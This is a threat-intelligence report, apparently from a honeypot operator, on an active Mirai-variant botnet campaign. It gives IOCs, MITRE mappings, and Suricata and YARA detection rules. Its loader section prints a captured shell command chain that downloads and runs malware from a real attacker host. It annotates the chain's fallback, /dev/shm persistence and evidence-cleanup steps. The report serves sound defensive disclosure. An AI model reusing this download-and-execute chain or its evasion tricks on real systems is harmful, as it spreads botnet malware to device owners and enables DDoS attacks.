TLP:CLEAR

OHSHIT Botnet Campaign

Mirai variant with exceptional architecture breadth — 14+ binary variants targeting embedded Linux across SPARC, Renesas SH4, m68k, PowerPC, and more. SSH brute-force entry with a resilient multi-tool download chain.

4,334
Total Events
34+
Days Active
36
Fleet Nodes Hit
14+
Architectures
37–41
VT Detections
10/10
Triage Score
Executive Summary

Beginning 2026-05-21, cowrAI sensors began observing a sustained SSH brute-force campaign distributing Mirai-family binaries from 192.142.28.77 via the path /bachekuni/. The campaign remains active as of 2026-06-23 — 34 days and counting — and has touched all 36 fleet nodes across multiple geographic regions.

What distinguishes this campaign from typical Mirai drops is its exceptional architecture coverage. The operator has compiled and maintains binaries for at least 14 CPU architectures, including unusual targets — Renesas SH4, SPARC, Motorola m68k, PowerPC, and ARC — not commonly seen in Mirai variant distribution. For each architecture, the loader attempts download via four different tools in sequence (wget → busybox wget → curl → busybox curl), with simultaneous execution from three filesystem locations to maximize persistence on embedded Linux environments.

Behavioral analysis of the ARM7 sample confirms C2 communication to the domain genddos.st — a DDoS-for-hire C2 indicator. Watchdog modification (to prevent reboots from clearing the infection) and system binary writes were observed in-sandbox. VirusTotal detects 37–41/62–64 engines across submitted samples, classified as Mirai/FEBO and Mirai/GAFGYT lineages.

Threat Actor Profile
Campaign NameOHSHIT (operator-chosen binary naming)
FamilyMirai — FEBO / GAFGYT variant
LineageMirai source-code derivative; triage YARA rules Mirai_SPARC / Mirai_ARM
Entry VectorSSH brute-force (cowrie direct login) — confirmed by routers self-replication argument
IntentDDoS botnet; C2 domain genddos.st is a DDoS-as-a-service indicator
SophisticationMedium — standard Mirai toolkit compiled across 14 architectures; robust embedded-Linux installer shows real operational experience
First Seen2026-05-21
Last Seen2026-06-23 (ACTIVE)
Distribution Host192.142.28.77 — Apache/2.4.58 (Ubuntu)
C2 Domaingenddos.st (behavioral IOC — ARM7 triage)
Operator Naming/bachekuni/, ohshit.*, /cumshotnews, /routereater — deliberately crude, consistent style marker
Infrastructure
Scanner Fleet
4 known IPs
192.142.28.77 (primary)
176.65.139.64
172.166.156.97
176.65.139.168
Distribution Server
192.142.28.77
Apache/2.4.58 (Ubuntu)
/bachekuni/ohshit.<arch>
14+ binary variants
C2 Server
genddos.st
DDoS-as-a-service C2
Observed in ARM7 behavioral
analysis (tria.ge)
↓ SSH brute-force → compromised embedded Linux targets → botnet enlistment → DDoS capability

Notably, the distribution server (192.142.28.77) doubles as a scanner, generating 1,598 of the 4,334 observed events directly. The open-directory probe confirmed Apache/2.4.58 on Ubuntu and 2 items accessible at the directory root. The distribution server also hosts secondary payloads at /cumshotnews (shell script, 7 VT detections) and /routereater (shell script, 777 bytes).

Loader Analysis

The loader is a multi-stage shell sequence executed after SSH login, captured verbatim by cowrie. Each architecture follows the same four-phase pattern: download → chmod → execute → cleanup, with the execution step attempting three filesystem locations for persistence.

Captured Payload — cowrie.command.input (representative)
# Phase 1: Download — four-tool fallback chain, all errors suppressed
wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null

# Phase 2: Mark executable — tries both native and busybox chmod
chmod +x ohshit.mips 2>/dev/null; busybox chmod +x ohshit.mips 2>/dev/null

# Phase 3: Execute with multi-path persistence
#   3a. Direct execution from CWD
./ohshit.mips routers 2>/dev/null; \
#   3b. Copy to /dev/shm — RAM-backed, survives filesystem remount
  cp ohshit.mips /dev/shm/ohshit.mips 2>/dev/null && \
  chmod +x /dev/shm/ohshit.mips 2>/dev/null && \
  /dev/shm/ohshit.mips routers 2>/dev/null; \
#   3c. Copy to /var — persistent storage fallback
  cp ohshit.mips /var/ohshit.mips 2>/dev/null && \
  chmod +x /var/ohshit.mips 2>/dev/null && \
  /var/ohshit.mips routers 2>/dev/null; \
#   3d. Interpreter fallback — sh/busybox sh if exec bit failed
  busybox sh ohshit.mips routers 2>/dev/null; \
  sh ohshit.mips routers 2>/dev/null

# Phase 4: Cleanup — attempt to remove evidence from all locations
rm -f ohshit.mips /dev/shm/ohshit.mips /var/ohshit.mips 2>/dev/null

The routers argument is a Mirai self-replication mode indicator, confirming the binary will attempt to propagate by SSH/Telnet scanning once running. The operator repeats this entire sequence for each of the 14+ architectures in a single session, ensuring the binary that matches the target's CPU will execute.

Download Chain Rationale

Many embedded Linux systems (routers, IP cameras, DVRs) ship with only busybox — no native wget or curl. Trying all four tools ensures download succeeds on factory-default firmware. This level of tool fallback is a strong indicator of embedded-Linux operational expertise.

/dev/shm Persistence

Copying to /dev/shm/ (a RAM-backed tmpfs) gives two advantages: it bypasses noexec mounts on flash storage, and the binary runs from memory. Combined with the /var/ copy (persistent flash), the operator ensures at least one execution path survives most filesystem configurations.

Architecture Coverage

14+ binary variants observed, including architectures rarely seen in Mirai variant distribution (SPARC, Renesas SH4, Motorola m68k, ARC, PowerPC). This is among the broadest architecture coverage documented in a single Mirai campaign.

Architecture Filename Size SHA256 (truncated) VT Triage
ARM (v4) ohshit.arm 138,072 9ae7aacc… 41/63 Mirai 10 Mirai
ARM5 ohshit.arm5 99,796 6d87ae2e… 37/63 Mirai 10 Mirai
ARM6 ohshit.arm6 145,700 8ab15f9d… 39/63 Mirai 10 Mirai
ARM7 ohshit.arm7 227,181 8d5eec24… 38/63 Mirai 10 Mirai
ARM64 ohshit.arm64 not captured
MIPS (big-endian) ohshit.mips 174,032 f9ec1b33… 32/? Mirai 10 Mirai
MIPS (little-endian) ohshit.mpsl 177,440 9ad88e31… 39/63 Mirai 10 Mirai
x86 (i386) ×2 ohshit.x86 124,180 / 132,596 3ad48bae… / c8545034… 32/? Mirai 10 Mirai
x86-64 ohshit.x86_64 142,759 88d028a5… 36/? Mirai 10 Mirai
SPARC ohshit.spc 138,280 69e3b714… 37/62 Mirai 10 Mirai_SPARC
Renesas SH4 ohshit.sh4 124,448 e9b87420… 41/64 Mirai 10 Mirai
Motorola m68k ohshit.m68k 144,036 e9f77036… 37/61 Mirai 10 Mirai
PowerPC ohshit.ppc 133,928 ccb82d25… 36/63 Mirai 10 Mirai
ARC ohshit.arc 165,312 4a75c5d3… 29/? Mirai 10 Mirai

⚑ Unusual architecture rarely seen in Mirai campaigns. ★ ARM7 had successful behavioral sandbox run (genddos.st C2 observed).

Malware Analysis
C2 Infrastructure — CONFIRMED

ARM7 behavioral sandbox (tria.ge / Debian 12 ARM) observed outbound connections to genddos.st — a DDoS-as-a-service command and control domain. The distribution server 192.142.28.77 also appeared in behavioral IOCs, suggesting it may serve dual purpose as C2 receiver. DNS resolvers 8.8.8.8 and 1.1.1.1 were also contacted, consistent with Mirai's resolver-bypass technique for C2 lookup.

VirusTotal Classification
Popular NameMirai/FEBO, Mirai/GAFGYT
CategoryTrojan
Top EngineGen:Variant.Linux.Mirai.7
Detection Rate37–41 / 62–64 engines
Triage Behavioral Findings (ARM7)
  • Modifies Watchdog (T1562) — prevents reboot clearance
  • Enumerates running processes
  • Writes binary to system /bin folder
  • Reads /proc virtual filesystem
  • Score: 10/10 (max) — family: mirai
YARA Signatures (tria.ge)
rule Mirai_SPARC  { /* fired on 69e3b714... (SPARC) */ }
rule Mirai_ARM    { /* fired on 8d5eec24... (ARM7) */ }

The SPARC binary (ohshit.spc) could not be executed in any of the tria.ge sandbox environments (amd64, armhf, mipsel, mips) — exec format error on all. This is expected: tria.ge has no SPARC sandbox. Static analysis still fired the Mirai_SPARC YARA rule, confirming Mirai code structure. This is a reminder that rare-arch malware is effectively sandbox-immune in most analysis environments.

MITRE ATT&CK
T1110
Brute Force
SSH credential brute-force is the sole entry vector. routers argument confirms Mirai self-replication mode (SSH/Telnet scanning).
T1105
Ingress Tool Transfer
14+ architecture-specific ELF binaries fetched from 192.142.28.77/bachekuni/ via wget/curl fallback chain.
T1059.004
Unix Shell
Multi-stage shell installer executes download chain, chmod, multi-location execution, and cleanup in a single shell session.
T1562
Impair Defenses — Watchdog
ARM7 behavioral analysis: malware modifies watchdog device to prevent system reboot from clearing infection.
T1036.004
Masquerading — /dev/shm
Binary copied to /dev/shm/ohshit.* — RAM-backed tmpfs evades noexec flash mounts and some file-integrity checks.
T1070.004
File Deletion
Loader removes binary from disk, /dev/shm, and /var after execution — reduces on-disk forensic footprint.
T1016
Network Config Discovery
Enumerates running processes and reads /proc (confirmed in triage behavioral). Typical Mirai target-selection pre-scan behavior.
T1498
Network DoS
C2 domain genddos.st is a DDoS-as-a-service platform. Compromised devices enlisted into DDoS botnet.
Timeline
2026-05-21
First observed: scanner IPs 176.65.139.64 and 176.65.139.168 begin SSH brute-force sessions delivering bachekuni loader. 976 events over 2 days.
2026-05-24 – 2026-05-28
Additional scanner IPs join: 176.65.139.168 (179 events), 50.56.159.185 (14 events). Campaign continues across multiple operator-controlled hosts.
2026-05-31
New scanner 172.166.156.97 generates 537 events in a single day — largest single-scanner daily volume observed.
2026-06-01
Brief participation from 41.103.211.9 (2 events). First lull in activity.
2026-06-14
Campaign resumes. Distribution server 192.142.28.77 becomes primary scanner and distributor. cowrAI chase-runner captures 13 binary samples across ARM4–7, MIPS BE/LE, SPARC, SH4, m68k, PowerPC, ARC, x86, x86-64. Shell scripts at /cumshotnews also captured.
2026-06-21
Updated shell scripts (/cumshotnews rev 2, /routereater) captured — confirms operator is actively maintaining and updating the distribution server.
2026-06-22 – 2026-06-23
Active NOW. 192.142.28.77 generates 1,598 bachekuni command events on 2026-06-22. Apache.request events from same IP observed on 2026-06-23 — distribution server confirmed live.
Indicators of Compromise

IP Addresses

192.142.28.77 — distribution + scanner (primary)
176.65.139.64 — scanner (976 cmd events)
172.166.156.97 — scanner (537 cmd events)
176.65.139.168 — scanner (179 cmd events)
50.56.159.185 — scanner (14 cmd events)
41.103.211.9 — scanner (2 cmd events)

Domains

genddos.st — C2 (DDoS-as-a-service, ARM7 behavioral)

Distribution URLs

http://192.142.28.77/bachekuni/ohshit.arm
http://192.142.28.77/bachekuni/ohshit.arm5
http://192.142.28.77/bachekuni/ohshit.arm6
http://192.142.28.77/bachekuni/ohshit.arm7
http://192.142.28.77/bachekuni/ohshit.arm64
http://192.142.28.77/bachekuni/ohshit.mips
http://192.142.28.77/bachekuni/ohshit.mpsl
http://192.142.28.77/bachekuni/ohshit.x86
http://192.142.28.77/bachekuni/ohshit.x86_64
http://192.142.28.77/bachekuni/ohshit.spc
http://192.142.28.77/bachekuni/ohshit.sh4
http://192.142.28.77/bachekuni/ohshit.m68k
http://192.142.28.77/bachekuni/ohshit.ppc
http://192.142.28.77/bachekuni/ohshit.arc
http://192.142.28.77/cumshotnews (shell script loader)
http://192.142.28.77/routereater (shell script, 777B)

File Hashes (SHA256)

9ae7aacca1d705eb31cb6e9cdf320b474382c847597ac669ec4051da9f51d234 ohshit.arm
6d87ae2ed432257f12b073709ea0668ec25548cb31281f53ff891a7eb3ac5f3e ohshit.arm5
8ab15f9d27798b9308f8272ff3ab51cf3188b153c05db5d774a2cb5081576afd ohshit.arm6
8d5eec24052138e24c1342dc054a8e25d2837027b27cfcd7c4f1a7aea597dbbf ohshit.arm7
9ad88e310633406c46aff5b7130ca6a2a3cdb0d70781001838e50a9f5f35e415 ohshit.mpsl
f9ec1b33dfc61dad616223f2eef5a80d3b9b9165e9035b574eb436b34a78ee8e ohshit.mips
e9f77036f5b9a26c6037cc30b362e618e0f8296ec38bf9bef475acad1a9e0467 ohshit.m68k
ccb82d2519b1e47d3cbc68aee066d76a41faaf096a7ef76f26ff06fbfd9b7cb9 ohshit.ppc
69e3b714d2a4fac4a6ba67c144a248714349c094d48fb40b2f11ddaff72ee27c ohshit.spc
e9b874205ac4ea08be239ae98cfc17a51c6fa8dada1c8a4340a499178a5a0e6f ohshit.sh4
4a75c5d3fade1815d3f14d4da775111370d769cc48284ea78a6314c1f717b903 ohshit.arc
88d028a54a136782982817d1d93c89b075b7f04897b0c0681311add7c8712eb6 ohshit.x86_64
3ad48bae18b7ea8e7ffe3608b6eeaa4673b6ff47e9e6a21def774eecba66364a ohshit.x86
c8545034cd4fe71eeadb24dacddc5da95c4311c7112c299f1325801f3e06f928 ohshit.x86 (v2)
00919ab0829596db629ca78583c1e928604e82ae0036a58f57cf2f31d2a5e432 cumshotnews.sh
9c7c96c9e4b682cb7b243b1f76dead5a5777fe4c5c8afe6444a2be3100ca4b9a cumshotnews.sh (v2)
29d6f345693fc870df3320dba196a5476a01c469e5c3892542bde11af01ca005 routereater.sh

Filesystem Artifacts

/dev/shm/ohshit.* — in-memory execution artifact
/var/ohshit.* — persistent storage artifact
Watchdog device modification (behavioral)
Detection Signatures
Suricata — Network
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI OHSHIT Botnet — Binary Download from bachekuni path";
  flow:established,to_server;
  http.uri; content:"/bachekuni/ohshit."; startswith;
  classtype:trojan-activity; sid:9100110; rev:1;
)

alert dns $HOME_NET any -> any 53 (
  msg:"cowrAI OHSHIT Botnet — C2 Domain genddos.st";
  dns.query; content:"genddos.st"; endswith; nocase;
  classtype:trojan-activity; sid:9100111; rev:1;
)

alert ip any any -> 192.142.28.77 any (
  msg:"cowrAI OHSHIT Botnet — Outbound to Distribution/C2 Host";
  classtype:trojan-activity; sid:9100112; rev:1;
)
Suricata — Filesystem Artifact (via auditd syslog)
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI OHSHIT Loader — Multi-arch download chain pattern";
  flow:established,to_server;
  http.uri; pcre:"/\/bachekuni\/ohshit\.[a-z0-9_]+$/";
  classtype:trojan-activity; sid:9100113; rev:1;
)
YARA
rule OHSHIT_Botnet_Loader {
    meta:
        description = "OHSHIT botnet Mirai variant — multi-arch distribution"
        author      = "cowrAI honeypot fleet"
        date        = "2026-06-23"
        tlp         = "CLEAR"
    strings:
        $url1   = "192.142.28.77/bachekuni/" ascii
        $path1  = "/dev/shm/ohshit" ascii
        $path2  = "/var/ohshit" ascii
        $arg1   = "routers" ascii
        $c2     = "genddos.st" ascii
    condition:
        any of them
}
Shell Command Pattern (honeypot / SIEM)
grep -E '(bachekuni|ohshit\.(arm|mips|arc|spc|sh4|m68k|ppc|x86)|genddos\.st)'
Collection Methodology

Data collected by the cowrAI distributed honeypot fleet — 36 cowrie 2.9.17 nodes across multiple hosting providers in Europe, North America, and Asia-Pacific, operating in SSH/Telnet capture mode with LLM-backend engagement and 9 alt-protocol lures.

Event collection: cowrie logs cowrie.command.input events for all executed shell commands. Each session is indexed in a time-series event store. This report covers 4,334 events matching bachekuni or ohshit patterns, plus events from 192.142.28.77.

Sample collection: cowrAI's chase-runner extracts dropper URLs from captured commands, fetches binaries (with 64-URL cap per session), computes SHA256, and stores in R2. Each unique sample is automatically submitted to VirusTotal and tria.ge. The 14+ binary variants documented here were all captured via the chase pipeline from commands observed in sensor sessions.

Behavioral analysis: ARM7 sample (8d5eec24…) executed successfully in tria.ge's Debian 12 ARM sandbox, producing the C2 connection to genddos.st and behavioral signatures. SPARC, m68k, PowerPC, and SH4 samples could not be executed in any available sandbox environment — exec format error (no matching sandbox arch). Static YARA analysis still fired on all samples.